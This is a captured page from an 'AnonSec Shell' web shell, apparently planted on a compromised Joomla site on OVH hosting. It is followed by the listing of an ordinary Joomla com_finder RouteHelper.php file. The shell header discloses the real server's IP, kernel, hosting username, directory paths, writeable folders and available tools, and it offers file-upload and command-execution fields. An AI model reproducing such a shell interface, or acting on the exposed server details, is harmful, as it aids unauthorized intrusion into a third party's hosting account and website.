AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/lorient/components/com_finder/src/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/lorient/components/com_finder/src/Helper/RouteHelper.php
<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Finder\Site\Helper;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Finder route helper class.
 *
 * @since  2.5
 */
class RouteHelper
{
    /**
     * Method to get the route for a search page.
     *
     * @param   integer  $f  The search filter id. [optional]
     * @param   string   $q  The search query string. [optional]
     *
     * @return  string  The search route.
     *
     * @since   2.5
     */
    public static function getSearchRoute($f = null, $q = null)
    {
        // Get the menu item id.
        $query = ['view' => 'search', 'q' => $q, 'f' => $f];
        $item  = self::getItemid($query);

        // Get the base route.
        $uri = clone Uri::getInstance('index.php?option=com_finder&view=search');

        // Add the pre-defined search filter if present.
        if ($f !== null) {
            $uri->setVar('f', $f);
        }

        // Add the search query string if present.
        if ($q !== null) {
            $uri->setVar('q', $q);
        }

        // Add the menu item id if present.
        if ($item !== null) {
            $uri->setVar('Itemid', $item);
        }

        return $uri->toString(['path', 'query']);
    }

    /**
     * Method to get the route for an advanced search page.
     *
     * @param   integer  $f  The search filter id. [optional]
     * @param   string   $q  The search query string. [optional]
     *
     * @return  string  The advanced search route.
     *
     * @since   2.5
     */
    public static function getAdvancedRoute($f = null, $q = null)
    {
        // Get the menu item id.
        $query = ['view' => 'advanced', 'q' => $q, 'f' => $f];
        $item  = self::getItemid($query);

        // Get the base route.
        $uri = clone Uri::getInstance('index.php?option=com_finder&view=advanced');

        // Add the pre-defined search filter if present.
        if ($q !== null) {
            $uri->setVar('f', $f);
        }

        // Add the search query string if present.
        if ($q !== null) {
            $uri->setVar('q', $q);
        }

        // Add the menu item id if present.
        if ($item !== null) {
            $uri->setVar('Itemid', $item);
        }

        return $uri->toString(['path', 'query']);
    }

    /**
     * Method to get the most appropriate menu item for the route based on the
     * supplied query needles.
     *
     * @param   array  $query  An array of URL parameters.
     *
     * @return  mixed  An integer on success, null otherwise.
     *
     * @since   2.5
     */
    public static function getItemid($query)
    {
        static $items, $active;

        // Get the menu items for com_finder.
        if (!$items || !$active) {
            $app    = Factory::getApplication();
            $com    = ComponentHelper::getComponent('com_finder');
            $menu   = $app->getMenu();
            $active = $menu->getActive();
            $items  = $menu->getItems('component_id', $com->id);
            $items  = is_array($items) ? $items : [];
        }

        // Try to match the active view and filter.
        if ($active && @$active->query['view'] == @$query['view'] && @$active->query['f'] == @$query['f']) {
            return $active->id;
        }

        // Try to match the view, query, and filter.
        foreach ($items as $item) {
            if (@$item->query['view'] == @$query['view'] && @$item->query['q'] == @$query['q'] && @$item->query['f'] == @$query['f']) {
                return $item->id;
            }
        }

        // Try to match the view and filter.
        foreach ($items as $item) {
            if (@$item->query['view'] == @$query['view'] && @$item->query['f'] == @$query['f']) {
                return $item->id;
            }
        }

        // Try to match the view.
        foreach ($items as $item) {
            if (@$item->query['view'] == @$query['view']) {
                return $item->id;
            }
        }

        return null;
    }
}

Anon7 - 2022
AnonSec Team